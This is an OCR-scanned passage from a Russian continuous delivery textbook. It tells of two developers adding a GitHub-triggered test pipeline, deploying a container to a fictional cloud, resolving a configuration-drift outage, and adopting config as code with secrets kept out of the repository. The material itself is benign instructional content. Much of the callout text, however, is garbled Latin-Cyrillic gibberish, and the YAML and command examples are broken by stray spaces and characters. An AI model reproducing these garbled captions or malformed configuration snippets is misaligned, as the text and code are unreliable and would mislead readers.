релиз сейчас - но WIYW\ ЧW\О -W\O дeucW\вu /f новы и код и находит баг. 

Wleлt:iнo идеW\ не Wlaк. _..../ 
Так чего же не хватает между шагами 3 и 4, что 
позволило бы Саре и Саше соблюсти принципы 
непрерывной доставки? 

В главе 2 вы узнали важное правило, что 
делать при внесении критических изменений: 

Не отправлять изменения, когда 
произошел сбой пайплайна. 

Какой еще пайплайн? У Саши и Сары нет ника
кого пайплайна и никакой автоматизации про
цессов. Чтобы найти ошибки, им приходится 
проводить ручное тестирование. И это как раз 
то, чего не хватает Саше и Саре, - не просто 
пайплайна для автоматизации ручных операций 
и обеспечения их надежности, но и его настрой
ки на срабатывание (triggering) при внесении 
изменений в удаленный репозиторий: 

Можно ли что-то сделать 

немного раньше, чтобы 
шаг 3 вообще не наступил ? 

Несомненно! Понять, 
в какой момент появляются 
проблемы, уже хорошее на-
чало, но еще лучше - пре-
дотвратить их появление. 
Это можно сделать, запустив 
пайплайны до отправки 
коммитов в главную ветку 
удаленного репозитория . 
Подробнее об этом читайте 
в главе 7. 

Пайплайн должен срабатывать при изменениях в системе контроля версий. 

Если бы у Саши и Сары был пайплайн, запускающий юнит-тесты при каждой от
правке изменений в репозиторий GitHub, Сара немедленно получила бы уведомле
ние о проблеме, которая возникла по ее вине. Книги для программистов: https://t.me/booksforits
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Запуск пайплайна сервиса пол ьзователей 
Саша и Сара создают пайплайн. Пока что в нем только одна задача - запускать юнит
тесты. Они настроили срабатывание веб-хука так, чтобы пайплайн автоматически за
пускался каждый раз, когда коммиты отправляются в репозиторий на GitHub, а в слу
чае, если пайплайн не пройдет, им обоим на почту будет отправлено уведомление. 

Теперь, если будут внесены критические изменения, Саша и Сара сразу узнают 
об этом. Они соглашаются принять политику «бросить все, чтобы заняться исправ
лением неполадок»: 

Не отправлять изменения, когда произошел сбой пайплайна. 

:1. .  после 6несенця цзмененцй 
CiitHцb Зal'\yCWltAWI 
бt�ll'\ОЛНенце 1'\айl'\лайна. 

:2.. nаймайн coдepЖtA WI 
WIOлtiкo одну задачу , 
заl'\ускающую юнцW1 -W1eCW1ti1 
для сербцса млt�зо6аW1елей. 

! Запуск юнит-тестов 
сервиса пользователей 

3. Еслц V1.роцзойдеW1 сбой 1'1.аймайнасе;� 
(6 данном случае - еслц 
юнцW1 -W1teW1ti1 не 1'\ройдуW1),  
Саре ц Cawe будеWI ОW11'\ра6лен 
eWlail ц онц узнаюW1 о 1'\роблеме. 

4. Еслц V1.роцзойдеW1 сбой мймайна, будеWI небезомсно 
6ti/l'\ycкaW1ti релцз кода, находящегося 6 реV1.0Зц W1орцц 
CiitHцb.  Сара ц Cawa cozлawaIOWICЯ, ЧWIO 6 ЭWIOM случае 
не следуеWI V1.роцз6одцW1t� слцянце друzцх цзмененцй,  
а V1.pцopц W1eW10M должно cW1aW1ti цсl'\рабленце кода 
ц 6оз6ращенце ремзцW1орця 6 сосW1оянце, 1'\рцzодное 
для 6ti11'\ycкa релцза. 

'-Ф� ВАЖНО 

Как происходит запуск 

пайппайна? 

Мы не будем подробно 
разбирать особенности 
системы CD, которую 
выбрали Саша и Сара; 
некоторые из рассмо
тренных ими вариантов 
можно найти в прило
жениях в конце книги. 
Поскольку они уже 
используют GitHub, то 
могут легко и быстро за
пустить свой пайплайн 
через GitHub Actions. 

Запускайте пайплайны при внесении изменений в систему контроля версий. 
Просто написать тесты недостаточно, их нужно регулярно запускать.  По
лагаться на то, что люди будут помнить о необходимости запускать тесты 
вручную, - значит провоцировать ошибки. Система контроля версий - это 
не только источник достоверной информации о состоянии продукта; это еще 
и отправная точка для автоматизации процесса CD, которую мы подробно 
изучим в этой книге. 

Книги для программистов: https://t.me/booksforits
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Сборка сервиса пол ьзователей 
У Сары и Саши теперь есть пайплайн (небольшой) ,  который немедленно отправит 
им уведомление, если что-то сломается. Но код сервиса пользователей не принесет 
им никакой пользы, если они ничего с ним не сделают! Пока что пайплайн помог 
им с первым условием CD: 

Возможность безопасно вносить изменения в ПО в любое время. 

Пайплайн и автоматизация его запуска помогут им и со вторым условием CD: 

Доставка ПО должна быть такой же простой, как нажатие кнопки. 

Им нужно добавить в пайплайн задачи сборки и публикации сервиса пользователей. 
Они решают упаковать сервис пользователей в образ контейнера и отправить его 
в реестр образов. 

! Выполнить 
юнит-тесты для се�виса 

пользователеи 

Создать 
образ сервиса 
пользователей 

Выложить 
образ сервиса 

пользователей 

--

Добавив эти задачи в пайплайн, они делают процесс CD «Простым, как нажатие 
кнопки» (или, в данном случае, еще проще, поскольку он будет запускаться автома
тически с каждым внесением изменения в систему контроля версий) .  

Теперь при каждом коммите будут выполняться юнит-тесты, и если они пройдут 
успешно, то сервис пользователей будет упакован в контейнер и выложен в виде 
образа. 
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Сервис пользователей в облаке 
Последний вопрос, на который Сара и Саша должны ответить для реализации сер
виса пользователей, - как будет запускаться автоматически создаваемый образ. Они 
решают делать это с помощью популярного облачного провайдера RandomCloud. 

RandomCloud предоставляет сервис для запуска контейнеров, поэтому задача 
легко решается, только надо учесть, что сервису пользователей понадобится доступ 
к базе данных, где хранится информация о пользователях и фильмах: 

Мобильное 
приложение 

Сервис 
7 пользователей 

.----1 / �  
АРl-сервис 

Сервис 

®�УУ\рабле -

,.,--7 ния инрор -
мациеи 
О У\ОЛЬЗо6а -
WleAЯX 

стриминговой -/ 

сервису 
мльзо6аW1е 
леu необходи -
мо мдклю 
ЧUW\ЬСЯ к базе 
данных. интеграции 

К счастью, как и большинство облачных решений, RandomCloud предоставляет 
сервис базы данных, который Сара и Саша могут использовать вместе с сервисом 
пользователей: 

RaY\doмC(oud 

Контейнер 
сервиса 

пользователей 

Поскольку пайплайн сервиса пользователей автоматически создает и публикует его 
образ, все, что Саше и Саре теперь остается сделать, - это настроить контейнер 
сервиса пользователей на использование базы данных на RandomCloud. 

Книги для программистов: https://t.me/booksforits
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Подключение к базе данных RandomCloud 
Чтобы запустить сервис пользователей н а  RandomCloud, Саше и Саре нужно на
строить конфигурацию его контейнера так, чтобы он мог подключиться к сервису 
базы данных на RandomCloud. Чтобы это сделать, необходимы два условия: 

• Возможность настраивать сервис пользователей,  используя информацию, не
обходимую ему для подключения к базе данных. 

• Возможность предоставить сервису пользователей при запуске конкретную кон
фигурацию, позволяющую работать с сервисом базы данных на RandomCloud. 

Чтобы выполнить первое условие, Саша добавляет параметры командной стро
ки, которые сервис пользователей использует для определения того, к какой базе 
данных подключаться: 

. / u s e r  _service .  ру \ м ::1 б - - d b - host=l0 . 10 . 10 . 10 \ Ин't'ормацця о мvключенцц к азе 
- - d b - username=some - user  \ даннь1х 1'\редосW1абляеW1СЯ 6 бцде 
- - d b - pa ssword=some - pa s sword \ apzyMeHWI06 Командной СW1рокц. 
- - d b - name=wat c h - me - watch - users  ......____... 

Для выполнения второго условия сведения о сервисе базы данных RandomCloud 
можно передавать в виде конфигурации, которую RandomCloud использует для за
пуска контейнера сервиса пользователей: 

apiVer s ion : randomcloud . dev/vl 
kind : Container  
spec : 

image : watchmewatc h / u serservice : latest 
a rgs : 
- - - d b - host=10 . 10 . 10 . 10 
- - - d b - username=some - user  
- - - d b - pa s sword=some - pa s sword 
- - - d b - name=wat c h - me - wat c h - users  

"' 
ЭW10 Wle же арzуменW1ь1, ЧWlo ц 6 1'\редыдущем 
коде, КОW1орые Wlel'\epь 1'\редосW1абляюW1ся как 
часWlь конфцzураццц Ral'\doWICloцd. 

ЭW10W1 образ собцраеWIСЯ ц 1'\ереда -
eWICЯ как часWlь 1'\аймайна сербцса 
мльзобаW1елей. Он содержцW1 ц за -
l'\!jCKaeW1 файл цser _service.py. 

Развертывание самой по
следней версии образа 
имеет серьезные недостатки. 
О том, в чем они заключа
ются И ЧТО МОЖНО С ЭТИМ 
сделать, читайте в главе 9. 

Следует ли передавать пароли в виде простых текстовых данных? 

Если кратко - нет. Саша и Сара вот-вот поймут, что им нужно хранить эти 
конфигурационные данные в системе контроля версий и уж точно не стоит 
коммитить туда пароль. Подробнее об этом чуть позже. 
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Управление сервисом пользователей 
Сара и Саша готовы запустить сервис пользователей в виде контейнера с помощью 
популярного облачного провайдера RandomCloud. 

Ro.Ni.oмCloцd 

Контейнер 
сервиса 

попьзоватепей 

Подробнее об автома
тизации развертывания 
читайте в главе 10 !  

Первые недели, каждый раз, когда они собираются выполнить запуск сервиса, они 
используют пользовательский интерфейс RandomCloud (RandomCloud UI) для об
новления конфигурации контейнера до последней версии, иногда меняя и аргументы. 

Саша или Сара Вручную 
обно8ляюW1 конфигурацию 
Ral'\doW1C/oиd, ЧWlобы 

Версию образа, созданного 
иСl'\ОЛЬЗо8аWIЬ 1'\ОСЛеднюю 

Q 1'\аuмаuном сервиса ,........-----. --т--� 
1'\ользо8аW1елеu. _ _  " • •  - ·- Контейнер 

сервиса 
попьзоватепей 

Вскоре Сара и Саша решают вложиться в инструментарий для развертывания и при
обретают лицензию на Deployaker - инструмент, позволяющий легко управлять раз
вертыванием сервиса пользователей (а позднее и других сервисов Watch Ме Watch) .  

Саша или Сара 
Wlel'\epь Вручную 
обно8ляюW1 
Deployaker, ЧW1обь1 Q иСl'\ОЛЬЗ08аW1Ь -- _---.. 
1'\Оследнюю Версию __ . " • - -.. 
образа и уl'\ра8 -
ЛЯW1Ь конфиzура -
циеu Ral'\doW1C/oиd 
через Deployaker. 

Deployaker 

Сервис пользователей теперь запускается в контейнере на RandomCloud и управля
ется инструментом Deployaker. Deployaker постоянно мониторит состояние сервиса 
пользователей и следит, чтобы он всегда имел надлежащую конфигурацию. 
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Сбой в работе сервиса пользователей 
Однажды в четверг Саше на телефон приходит уведомление от RandomCloud о том, 
что сервис пользователей не работает. Саша просматривает логи сервиса и обнару
живает, что он больше не может подключиться к сервису базы данных. Базы данных 
под названием wat c h - me -wat c h - users  больше не существует! 

Я не знаю мочно, чмо 
случцлос", но RaVtdoмCloцd 
zоворцм, чмо баз"' данн"1х 

мл"зовамелеu 
watcV. -мe -watcV. -цsers 
бол"ше не сущесмвуем! 

И ЭМО все? Я Mozy 
IАСV\равцм" ЭМО V\рЯМО 

сейчас. Я обновлю 
конфцzураи,цю сервцса 

мл"зовамелеu. 
Гомово! 

Саша бросается исправлять настройки, но совершает роковую ошибку. Он совсем 
забывает, что теперь сервисом пользователей управляет Deployaker. И вместо того 
чтобы использовать Deployaker для обновления настроек, он вносит исправления 
напрямую через пользовательский интерфейс RandomCloud: 

apiVers ion : randomcloud . dev/vl 
kind : Container  
spec : 

image : watc hmewatch/userservice : latest 
args : Саша обновляем конфиzураи,ию, чмоб"' 
- - - d b - host=10 . 10 . 10 . 10 исV\Ол"зовам" Vtравил"ную базу дан -
- - - d b - u sername=some - u ser  _ - - db - pa s sword=some - pa s sword / H"IX, но вносим изменения наVtрямую 

- - d b - name=users  ....-- в RaVtdoWICloиd, заб"1в о Deployaker. 

Сервис исправлен, и уведомления от RandomCloud больше не приходят. 

Что такое Dep/oyaker? 

Deployaker - это вымышленный инструмент, аналог Spinnaker, реально суще
ствующего инструмента развертывания с открытым исходным кодом. Под
робнее о развертывании см. главу 1 0. 

Книги для программистов: https://t.me/booksforits



Автоматизация всех переиграла 85 

Автоматиза ция всех переиграла 
Саша поспешил внести исправления в кон
фигурацию RandomCloud, чтобы возоб
новить работу сервиса пользователей, но 
совершенно забыл о Deployaker. Крепкий 
ночной сон Сары был прерван внезапным 
уведомлением от RandomCloud. Сервис 
пользователей опять сломался ! 
Сара открывает и нтерфейс Deployaker 
и изучает конфигурацию, которую он ис
пользует для работы сервиса пользова
телей: 

apiVersion : randomc loud . dev/vl 
kind : Container  
spec : 

image : watc hmewatch/u serservice : latest 
a rgs : 
- - - d b - host=10 . 10 . 10 . 10 
- - - d b - u sername=some - user  
- - - d b - pa s sword=some - pa s sword 
- - - d b - name=name=wat c h - me -wat c h - users  ...------

ЭW10. конфцzуро.цця V\O -
V1режнему исV\Ол1?зуеW1 бо.зу 
до.нн1?1х, КОW1орую Со.ро. уже 
удо.лцло. 1 

Несмотря на то что Сара безумно устала, она понимает, что произошло. Саша ис
правил конфигурацию на RandomCloud, но не обновил ее в Deployaker. Deployaker 
периодически проверяет развернутый сервис пользователей, чтобы убедиться, что 
он развернут и сконфигурирован правильно. К сожалению, когда Deployaker про
верял сервис той ночью, он обнаружил изменения, внесенные Сарой, которые не 
соответствовали тому, что, как он считал, верно. Deployaker решил эту проблему, 
перезаписав исправленную конфигурацию той конфигурацией, которую он хра
нил у себя, что снова вызвало сбой в работе! Сара вздыхает и вносит исправление 
в Deployaker: 

apiVer s ion : randomcloud . dev/vl 
kind : Container  
spec : 

image : watc hmewatch/u serservice : latest 
a rgs : TeV1ep1? V1ро.6ил1?но.я конфиzуро.цця хро. -
- - - d b - host=10 . 10 . 10 . 10 0 _ - - d b - u sername=some - u ser  HtAWICЯ 6 Deployo.ker, ц Deployo.ker V\030. о -
- - - d b - pa s sword=some - pa s sword WltAW\CЯ О WIOM, ЧW\001?1 сербцс, 30.Vl!:JЩeHHl?IU 
- - - d b - name=users  � 6 Ro.V1doW1Cfoud, tАСV\ОЛl?Зобо.л именно ее. 

Уведомления прекратились, и Сара наконец-то смогла снова пойти спать. 
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в чем «ИСТОЧНИК  ИСТИНЫ»? 
На  следующее утро, з а  чашкой кофе, сонная Сара рассказала Саше, что произошло. 

Со.ра, мне Wlaк жал1:J! 
Все нормал1:Jно; эWlo Я у8лекся uсУ\ра8лением 

lA со8сеМ ЗаО/:JIЛ 
о Deployaker! 01:J1ло досW1аW1очно легко. 

Думаю, У\роолема 8 W10M, 
ЧW\О у нас д8а UCW\OЧHUKa 

uCWIUH/:Jt: Deployaker ХМ, UCWIOЧHUKU 
ucW1uн1:Jt? 3наеш/:J, а 8ед1:J 
ЦitHub - наш UCW\OЧHUK 

UCWIUH/:Jt для кода; можеWI, 
сделаW\/:J ezo UCW\OЧHUKOM 

UCW\UH/:JI lA для 

и RaY\doW1C(oud. 

конфиzураи,ии?  

Конфигурация, о которой они говорят, - это настройки RandomCloud для контей
нера сервиса пользователей, которые нужно было изменить, чтобы устранить сбой, 
произошедший накануне: 

apiVers ion : randomcloud . dev/vl 
kind : Container  
s pec : 

image : watc hmewatch/userservice : latest 
a rgs : 
- - - d b - host=10 . 10 . 10 . 10 
- - - d b - u sername=some - user  
- - - d b - p a s sword=some - pa s sword 
- - - d b - name=users  # или - - d b - name=watc h - me - wat c h - u sers  

У этой конфигурации два источника истины: 

• конфигурация, которую использовал RandomCloud; 

• конфигурация, хранящаяся в Deployaker, которую он будет брать для перезаписи 
любой используемой в RandomCloud, если обнаружит разницу. 

Саша предположила, что стоит хранить эту конфигурацию в репозитории GitHub 
вместе с исходным кодом сервиса пользователей. Но не станет ли это в итоге третьим 
источником истины? 

Последний недостающий элемент - это настройка Deployaker на использование 
конфигурации в репозитории GitHub в качестве источника истины. 

Книги для программистов: https://t.me/booksforits
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Контроль версий и безопасность 

Как правило, все данные, имеющие вид простого текста, должны находиться 
в системе контроля версий. Но что делать с конфиденциальными данными, 
такими как секретные коды и пароли? Эта информация не должна быть 
доступна каждому, у кого есть доступ к репозиторию (да это им обычно 
и не нужно) .  К тому же если добавить эту информацию в систему контроля 
версий, она будет храниться в истории репозитория неограниченное время ! 

Конфигурация сервиса пользователей Саши и Сары содержит конфиден
циальные данные - имя пользователя и пароль для подключения к сервису 
базы данных: 

user- service . yaml 

apiVers ion : randomcloud . dev/vl 
kind : Container  
spec : 

image : wat chmewatch/ userservice : latest 
a rgs : 
- - - d b - host=10 . 10 . 10 . 10 
- - - d b - u sername=some - user  � 

- - d b - pa s sword=some - pa s sword � 
- - - d b - name=users  

Саше и Саре нужно, ч�мобt:>1 
э�мо�м файл конфиzураи,ии бt:>1л 
6 сис�меме кон�мроля берсий, 
но V\ри ЭW\ОМ они не XOW\ЯW\ 
комми�ми�мt:> конфидени,иалt:> 
нt:>1е даннt:>1е. 

Нужно закоммитить этот файл конфигурации в системе контроля версий; 
как это сделать, не передавая имя пользователя и пароль? Ответ - хранить 
эту информацию в другом месте, чтобы управление ею и заполнение осу
ществлялось без вашего участия. Большинство облачных сервисов предо
ставляют инструменты для хранения защищенной информации, и многие 
системы CD позволяют безопасно заполнять эти секретные данные, что 
означает достаточную степень доверия системе CD и предоставление ей 
доступа к ним. 

Саша и Сара решают хранить имя пользователя и пароль в бакете храни
лища RandomCloud и настраивают Deployaker так, чтобы он получал доступ 
к значениям в этом бакете и заполнял их во время развертывания: 

user- service . yaml 

api Version : randomc loud . dev /vl Э�ми ключебt:>1е ело ба yкaЗt:>/ -
kind : container  баю�м V\роzрамме Deployaker 
s p�c :  . на необходимос�мt:> млучения 

image : watc hmewatch/ userservice : lat/st peaлt:>Ht:>IX значений V\араме�мроб 
a rgs : d С/ d - - - d b - host=10 . 10 . 10 . 10 

из Ral'\ OW\ ои · 
- - - d b - username=randomCloud : watc hMeWatch : u serServiceDBUser  
- - - d b - pa s sword=randomCloud : wat chMeWatch : u serServiceDBPa s s  
- - - d b - name=users  

Книги для программистов: https://t.me/booksforits
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П ринцип «конфи гурация как код» для сервиса 
пользователей 
Теперь, когда Саша и Сара настроили Deployaker, чтобы он мог получать конфиден
циальные данные (имя пользователя и пароль для базы данных сервиса пользовате
лей) из RandomC!oud, им нужно закоммитить файл конфигурации для репозитория 
сервиса пользователей: 

user- service . yaml 

apiVersion : randomcloud . dev/vl 
kind : Container  
spec : 

image : watc hmewatch/u serservice : latest 
a rgs : 
- - - d b - host=10 . 10 . 10 . 10 
- - - d b - u sername=randomCloud : watc hMeWatch : u serServiceDBUser  
- - - d b - p a s sword=randomCloud : watc hMeWatch : u serServiceDBPa s s  
- - - d b - name=users  

Они создают новый каталог в репозитории сервиса пользователей с именем config, 
где будут хранить этот файл конфигурации и помещать туда любые другие конфигу
рации, которые им понадобятся в процессе работы. Теперь структура репозитория 
сервиса пользователей выглядит так: 

В эмом новом камалоге 
будем хранимися конфигу - ,,------. 

рация сервиса млизовамелеu , 
исмлизуемая Deployaker, 
а макже любая другая кон -
фигурация, коморую мнадо -
бимся добавими в будущем. 

doc s /  
config/ 

u s e r - service . yaml 
service/  ..._____.,_ 
test/  "\ 
setup . py 

Веси исходни1u код 
находимся в кама -

LICENSE  
README . md 

логе service. 

requirement s . txt 

Можно ли вместо этого хранить конфигурацию в отдельном 
репозитории? 

Иногда это имеет смысл, особенно если вы работаете с несколькими серви
сами и хотите управлять всеми их конфигурациями из одной точки. Однако 
хранение конфигурации рядом с кодом, который она настраивает, упрощает 
одновременное внесение изменений в них обоих. Начните с использования 
единого репозитория и переносите конфигурацию в отдельный репозиторий 
только в том случае, если позже вы поймете, что это действительно необходимо. 

Книги для программистов: https://t.me/booksforits
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� Жестко закоди рованные данные 

user- service . yaml 

Даже np1A мом, чмо Deployaker са -
api  Vesion : randomc loud . dev /vl мосмоямел1:1но замлняем некомор1:11� 
kind : Container  IАЗ ЭIМIАХ значен1Аi:i, 1АНформац1Ая о nод "': 
sp:c :  

. ключен1А1А к базе данн1:11х, м CljlМIA , яб -: 
image : wat c hmewatch/u serserv1ce : latest ляемся жесмко закод1АробанноiА 1А ее : 
a rgs : / ' ' _ - - d b - host=l0 . 10 . 10 . 10 / нел1:1зя 1Асnол1:1зобам1:1 в дpijZIAX средах. 
- - - d b - u se rname=randomCloud : watc hMeWatch : u serServiceDBUser  

· 
- - - d b - pa ssword= randomCloud : watchMeWatch : userServiceDBPa s s  
- - - d b - name=users  

Поскольку информация о подключении к базе данных жестко закодирова
на, ее нельзя использовать в других средах, например при развертывании 
тестовой среды или при локальной разработке. Это сводит на нет одно из 
преимуществ технологии «Конфигурация как код» (coпfig as code) ,  которое 
заключается в том, что, отслеживая конфигурацию, которую вы используете 
при запуске продукта в системе контроля версий, вы можете применять ее 
затем при разработке и тестировании. Что же можно сделать с этими жестко 
закодированными значениями? 

Чаще всего можно обеспечить предоставление разных значений во время 
выполнения (развертывания ПО),  обычно одним из следующих способов: 

• Применить  шаблон ы :  например ,  вместо жестко заданного - - d b 
host=10 . 10 . 10 . 10 использовать синтаксис шаблонов типа - - d b - host={  { 
$db - host } } и воспользоваться инструментом для заполнения значения 
$db - host в процессе развертывания . 

• Применить слои: некоторые инструменты конфигурации позволяют за
давать уровни, которые переопределяют друг друга, - например, внести 
в репозиторий жестко заданное значение - - d b - host=10  . 10 . 10 . 10 для 
развертывания сервиса пользователей, а затем использовать инструменты 
для переопределения конкретных значений при запуске в другом месте 
(например, - - d b - ho s t = l o c a l ho s t : 3 3 0 6  или подобное при локальном 
запуске) .  

У обоих способов есть недостаток: конфигурация в системе контроля вер
сий не полностью соответствует фактически выполняемой конфигурации. 
По этой причине иногда разработчики предпочитают добавлять в пайплайны 
этапы явной гидратации (полного заполнения конфигурации фактическими 
значениями для конкретной среды) и возврата гидратированной (hydrated) 
конфигурации в систему контроля версий .  

Книги для программистов: https://t.me/booksforits
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Настрой ка Deployaker 
Теперь, когда конфигурация сервиса пользователей зафиксирована на GitHub, ее 
больше не нужно передавать в Deployaker. Вместо этого Саша и Сара настраивают 
Deployaker на подключение к репозиторию сервиса пользователей на GitHub и ука
зывают путь к файлу конфигурации этого сервиса: u s e r - service . yaml .  

Таким образом, Саре и Саше больше не нужно вносить изменения непосред
ственно в RandomCloud или Deployaker. Они коммитят изменения в репозиторий 
GitHub, а Deployaker забирает изменения оттуда и сбрасывает их в RandomCloud. 

Темрь, чW1обы 
обнобцW1ь конфц -
zураи,щ(), Саща 
!А Сара npocWlo ...--
обнобляюW1 файл 
конфцzураи,цц 
6 peVIOЗIAW10p1A1A .  

Контейнер 
сервиса 

пользователей 

QitHub 

Deployaker 

Любое цзмененце в ремз1АW1орцц будеWI 
обнаружено Deployaker- ц мредано 
в RandoW1Cfoщ1.. 

Стоит ли ожидать, что инструменты СО будут использовать 
конфигурацию, хранящуюся в системе контроля версий?  

Разумеется ! Многие инструменты позволяют напрямую указывать доступ 
к ним в файлах в системе управления версиями, или, по крайней мере, их 
можно настраивать программно, чтобы использовать другие инструменты для 
их обновления из конфигурации в системе контроля версий. На самом деле 
при выборе инструментов CD стоит обратить внимание на наличие такого 
функционала и избегать тех, которые можно настраивать только через поль
зовательский интерфейс. 

Но что делать с конфигурацией, которая сообщает Deployaker, как 
найти конфигурацию сервиса в репозитории? Она тоже должна быть 
в системе контроля версий ?  

Хороший вопрос. В определенном смысле всему есть предел - не  все можно 
поместить в систему контроля версий (например, конфиденциальные данные). 
Учитывая это, Саше и Саре было бы полезно написать хоть какую-нибудь до
кументацию по настройке Deployaker и занести ее в систему контроля версий, 
чтобы они сами и новые члены команды понимали, как все работает, или что
бы в случае необходимости можно было снова настроить Deployaker. Кроме 
того, есть большая разница между настройкой Deployaker для подключения 
к нескольким Git-репозиториям и переносом и поддержкой на нем всей кон
фигурации сервиса Watch Ме Watch. 

Книги для программистов: https://t.me/booksforits
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П ринцип «конфи гурация как код» 
Как конфигурация вписывается в принципы непрерывной доставки? Вспомним 
первое условие CD: 

безопасный выпуск релизов ПО в любое время. 

Многие разработчики под поставкой программ
ного продукта подразумевают только поставку 
исходного кода. Но как мы увидели в начале гла
вы, продукт включает в себя все виды текстовых 
данных, в том числе конфигурацию, используе
мую для его запуска. 

Мы также рассмотрели процесс непрерывной 
интеграции (CI) ,  чтобы понять, почему контроль 
версий имеет ключевое значение. CI - это: 

Постоянный процесс внесения изменений 
в код, когда каждое изменение 
проверяется при добавлении его к уже 
имеющимся и проверенным изменениям. 

Обработка конфигурации 
как кода - совсем не новая 
идея! Возможно, вы помни
те из текста этой главы, что 
управление конфигурацией 
компьютера появилось как 
минимум в 1 970-х годах. 
Иногда мы забываем от-
крытия, которые уже сде
ланы, и вынуждены заново 
изобретать велосипед. 

Чтобы действительно быть уверенным в том, что изменения в продукт будут внесе
ны безопасно, необходимо собирать и проверять изменения всех текстовых данных, 
из которых он состоит, включая конфигурацию. 

Практика, при которой с конфигурацией ПО обращаются так же, как с исходным 
кодом (то есть она хранится в системе контроля версий и проверяется посредством 
непрерывной интеграции) ,  часто называется принципом «Конфигурация как код» 
(config as code) .  Конфигурация как код - ключевой принцип CD, и реализуется он 
простым управлением версиями конфигурации в системе контроля версий с при -
менением к ней, насколько это возможно, проверок, таких как линтинг, а также 
использованием этой конфигурации при создании тестовых сред. 

В чем разница между инфраструктурой как кодом и конфигурацией 
как кодом ? 

Идея «инфраструктуры как кода» возникла первой, а «конфигурация как код» 
пришла ей на смену. Основной смысл принципа «инфраструктура как код» 
заключается в использовании кода/конфигурации (хранящейся в системе кон
троля версий) для описания инфраструктуры, на которой работает программа 
(например, спецификаций компьютера и конфигурации файервола) . В то время 
как методика «конфигурация как код» предназначена для настройки работающе
го ПО, принцип «инфраструктура как код» больше связан с определением среды, 
в которой оно работает (и автоматизацией ее создания) .  Граница между этими 
двумя понятиями особенно размыта сегодня, когда мы в основном используем 
облачную инфраструктуру. Когда вы развертываете ПО в виде контейнера, вы 
определяете инфраструктуру или настраиваете ПО? Но основные принципы 
обеих методик одинаковы: рассматривайте все, что требуется для работы ва
шего продукта, как код: храните это в системе контроля версий и проверяйте. 

Книги для программистов: https://t.me/booksforits
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Раскатка изменений в ПО и конфи гурации 
Сара и Саша начали работать в соответствии с принципом «конфигурация как код», 
сохраняя конфигурацию сервиса пользователей в Deployaker. Результаты они увиде
ли почти сразу, через несколько недель, когда им потребовалось разделить данные, 
хранящиеся в одной базе данных, на две отдельные базы. Вместо одной огромной 
базы данных им нужна база данных пользователей и база данных фильмов. Для этого 
нужно внести два изменения: 

1. Сервис пользователей раньше принимал только один аргумент для имени базы 
данных: - - d b - name; теперь он должен принимать два аргумента: 

. / u ser_service . py \ 
- - d b - host=10 . 10 . 10 . 10 \ 
- - d b - u sername=some - u ser  \ 
- - d b - p a s sword=some - pa s sword \ 
- - d b - users - name=users  \ � 
- - db - movies - name=movies 

Неооход1Амо ооно61Аw.1:1 сер61Ас мл1:1зо 
Ваw.елеu, чw.001:11 он расмзнабал эw.IA 
дба но61:11х арzуменw.а. 

2 .  Необходимо обновить конфигурацию сервиса пользователей, чтобы использо
вать два аргумента вместо одного текущего - - d b - name: 

apiVersion : randomc loud . dev/vl 
kind : Container  
spec : 

image : watc hmewatch/u serservice : latest 
a rgs : 
- - - d b - host=10 . 10 . 10 . 10 
- - - d b - u sername=some - user  
- - - d b - pa s sword=some - pa s sword 

- - d b - users - name=users  � 
- - - db - movies - name=movies  

Также неооход1Амо ооно61Аw.1:1 кон -
q:щzурацщ.о, чw.001:11 она 1Асмл1:1 -
зо6ала но61:11е арzуменw.1:11. 

Раньше, когда изменения вносились непосредственно в Deployaker, их приходилось 
раскатывать в два этапа: 

1. Создать новый образ после внесения изменений в исходный код сервиса поль
зователей. 

2. Новый образ становится несовместим с файлом конфигурации в Deployaker; 
развертывания выполнять невозможно, пока не будет обновлен Deployaker. 

Но теперь, когда исходный код и конфигурация находятся в системе контроля 
версий, Саша и Сара могут сразу внести все изменения и раскатать их с помощью 
Deployaker! 
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Раскатка изменений в ПО и конфигурации 93 

Используйте инструменты, которые позволяют хранить конфигурации в систе
ме контроля версий. Некоторые инструменты предусматривают возможность 
работы с их конфигурацией только через пользовательский интерфейс (напри
мер, через сайт или интерфейс командной строки (Command Line Interface, 
CLI ) ) ;  это удобно, если требуется быстрая настройка и запуск, но в долго
срочной перспективе, чтобы реализовать непрерывную доставку, может 
понадобиться хранить конфигурацию в системе контроля версий .  Избегайте 
инструментов, которые не позволяют этого делать. 

',ф � ВАЖНО 
Рассматривайте все текстовые данные своего программного продукта как код 
и храните их в системе контроля версий. Это создаст некоторые сложности, 
связанные с конфиденциальными данными и значениями, специфичными для 
среды, но дополнительный инструментарий, который вам понадобится, стоит 
затраченных на него усилий. Храня все в системе контроля версий, вы можете 
быть уверены, что система всегда находится в безопасном для выпуска релиза 
состоянии, причем все сопутствующие данные, а не только исходный код. 
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Закл ючение 
Несмотря н а  то что работа над проектом Watch Ме Watch только начинается, Сара 
и Саша быстро поняли, насколько важна система контроля версий для реализации 
непрерывной доставки. Они выяснили, что система контроля версий не просто 
пассивное хранилище, в нем разворачивается первый этап CD: именно здесь проис
ходит объединение изменений кода, которые запускают проверку того, что продукт 
остается готовым к релизу. 

Хотя изначально в системе контроля версий хранился только исходный код, Сара 
и Саша поняли, что очень полезно хранить там еще и конфигурацию и работать 
с ней как с кодом. 

По мере роста компании они будут продолжать использовать систему контроля 
версий в качестве единого источника истины для своего продукта. С этого момента 
любая автоматизация процессов, начиная с автоматического выполнения юнит
тестов и заканчивая канареечным развертыванием (canary deployment) ,  будет ос
новываться на изменениях, внесенных в эту систему. 

Итоги 
• Чтобы работать с непрерывной доставкой, необходимо использовать систему 

контроля версий.  

• Пайплайны CD должны запускаться при каждом внесении изменений в систему 
контроля версий. 

• Система контроля версий - это источник истины о состоянии продукта, а также 
основа всей автоматизации процесса CD, описанного в этой книге. 

• Применяйте принцип «конфигурация как код» и храните все текстовые данные, 
описывающие продукт (не только исходный код, но и конфигурацию), в системе 
контроля версий. Избегайте инструментов, которые не позволяют этого делать. 

Далее . . .  
В следующей главе м ы  рассмотрим, как использовать линтинг в пайплайнах CD, 
чтобы избежать распространенных ошибок и обеспечить соблюдение стандартов 
качества во всех унаследованных проектах, даже если над ними работает большое 
количество участников. 
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В этой гла ве 

.,, Проблемы в коде, которые выявляет линтинг: баги, 

ошибки и проблемы стиля 

.,, Полное отсутствие проблем - это идеально, но не
обходимо учитывать реальное состояние унаследо

ванного кода 

"' Как проводить линтинг большого объема кода, ис

пользуя итеративный подход 

"' Риски появления новых ошибок при решении проблем 

4 

••••••••••••••••••••••••••••••••••••••••••••••••••••••••••• 

Приступим наконец к созданию пайплайнов! Линтинг - ключевой компонент не
